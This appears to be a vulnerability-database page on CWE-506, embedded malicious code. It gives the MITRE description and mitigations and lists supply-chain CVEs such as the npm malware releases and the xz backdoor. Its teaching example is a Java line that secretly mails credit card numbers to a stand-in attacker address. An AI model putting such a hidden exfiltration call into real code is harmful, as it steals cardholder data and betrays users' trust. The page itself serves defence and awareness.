Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-506 (内嵌的恶意代码) — Vulnerability Class 100

100 vulnerabilities classified as CWE-506 (内嵌的恶意代码). AI Chinese analysis included.

CWE-506 represents a critical integrity weakness where software contains intentionally embedded malicious code, often disguised as legitimate functionality. This flaw typically manifests as Trojan horses, trapdoors, or logic bombs, allowing developers or insiders to subvert system security at a predetermined time or under specific conditions. Exploitation occurs when the hidden code executes, granting unauthorized access, stealing data, or disrupting operations while the primary application appears to function normally. To mitigate this risk, organizations must enforce strict code review processes and utilize automated static analysis tools to detect suspicious patterns. Additionally, implementing robust access controls and maintaining transparent development practices ensure that no hidden backdoors remain in the final product, thereby preserving trust and preventing insider threats from compromising system integrity.

MITRE CWE Description
The product contains code that appears to be malicious in nature. Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.
Common Consequences (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
Mitigations (1)
Implementation, Operation Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
Examples (1)
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }
Bad · Java
CVE ID Title CVSS Severity Published
CVE-2017-20203 NetSarang v5.0 Malicious Backdoor Supply Chain Compromise — Xmanager Enterprise 10.0AI Critical AI 2025-10-09
CVE-2017-20202 Web Developer for Chrome v0.4.9 Malicious Backdoor Supply Chain Compromise — Web Developer for Chrome 8.8AI High AI 2025-10-08
CVE-2017-20201 CCleaner v5.33.6162 & CCleaner Cloud v1.07.3191 Malicious Backdoor Supply Chain Compromise — CCleaner 9.8AI Critical AI 2025-10-08
CVE-2025-10894 Nx: nx/devkit: malicious versions of nx and plugins published to npm 9.6 Critical 2025-09-24
CVE-2025-59145 color-name@2.0.1 contains malware after npm account takeover — color-name 6.1AI Medium AI 2025-09-15
CVE-2025-59331 is-arrayish@0.3.3 contains malware after npm account takeover — node-is-arrayish 8.2AI High AI 2025-09-15
CVE-2025-59330 error-ex@1.3.3 contains malware after npm account takeover — node-error-ex 8.2AI High AI 2025-09-15
CVE-2025-59162 color-convert@3.1.1 contains malware after npm account takeover — color-convert 5.4AI Medium AI 2025-09-15
CVE-2025-59142 color-string@2.1.1 contains malware after npm account takeover — color-string 8.2AI High AI 2025-09-15
CVE-2025-59144 debug@4.4.2 contains malware after npm account takeover — debug 8.8 High 2025-09-15
CVE-2025-59143 color@5.0.1 contains malware after npm account takeover — color 6.1AI Medium AI 2025-09-15
CVE-2025-59141 simple-swizzle@0.2.3 contains malware after npm account takeover — node-simple-swizzle 6.1AI Medium AI 2025-09-15
CVE-2025-59140 backslash@0.2.1 contains malware after npm account takeover — node-backslash 6.1AI Medium AI 2025-09-15
CVE-2025-59039 Prebid Universal Creative on npm briefly compromised — prebid-universal-creative 9.8AI Critical AI 2025-09-09
CVE-2025-59038 Prebid.js NPM package briefly compromised — Prebid.js 8.2AI High AI 2025-09-09
CVE-2025-59037 DuckDB NPM packages 1.3.3 and 1.29.2 briefly compromised with malware — duckdb-node 9.1AI Critical AI 2025-09-09
CVE-2025-8217 Inert Malicious script injected into Amazon Q Developer Visual Studio Code (VS Code) Extension — Q Developer VS Code Extension 4.0 Medium 2025-07-30
CVE-2025-54313 eslint-config-prettier 安全漏洞 — eslint-config-prettier 7.5 High 2025-07-19
CVE-2025-32965 Compromised xrpl.js versions 4.2.1, 4.2.2, 4.2.3, 4.2.4, and 2.14.2 — xrpl.js 7.5 - 2025-04-22
CVE-2025-30154 Multiple Reviewdog actions were compromised during a specific time period — reviewdog 8.6 High 2025-03-19
CVE-2025-30066 changed-files 安全漏洞 — changed-files 8.6 High 2025-03-15
CVE-2024-4978 Malicious Code in Justice AV Solutions (JAVS) Viewer — Viewer 8.4 High 2024-05-23
CVE-2024-3094 Xz: malicious code in distributed source 10.0 Critical 2024-03-29
CVE-2023-2003 Embedded malicious code vulnerability in Unitronics Vision1210 — Vision1210 9.1 Critical 2023-07-13
CVE-2021-22887 Pulse Secure PSA5000 and PSA7000 安全漏洞 — PSA5000, PSA7000 5.7 - 2021-03-16
CVE-2020-15165 Potentially tampered sources on Play Store for Chameleon Mini Live Debugger — ChameleonMiniLiveDebugger 9.3 Critical 2020-08-28
CVE-2017-16072 nodemailer.js 安全漏洞 — nodemailer.js node module 7.5 - 2018-06-07
CVE-2017-16069 nodeffmpeg 安全漏洞 — nodeffmpeg node module 7.5 - 2018-06-07
CVE-2017-16071 nodemailer.js 安全漏洞 — nodemailer-js node module 7.5 - 2018-06-07
CVE-2017-16070 nodecaffe 安全漏洞 — nodecaffe node module 7.5 - 2018-06-07

Vulnerabilities classified as CWE-506 (内嵌的恶意代码) represent 100 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.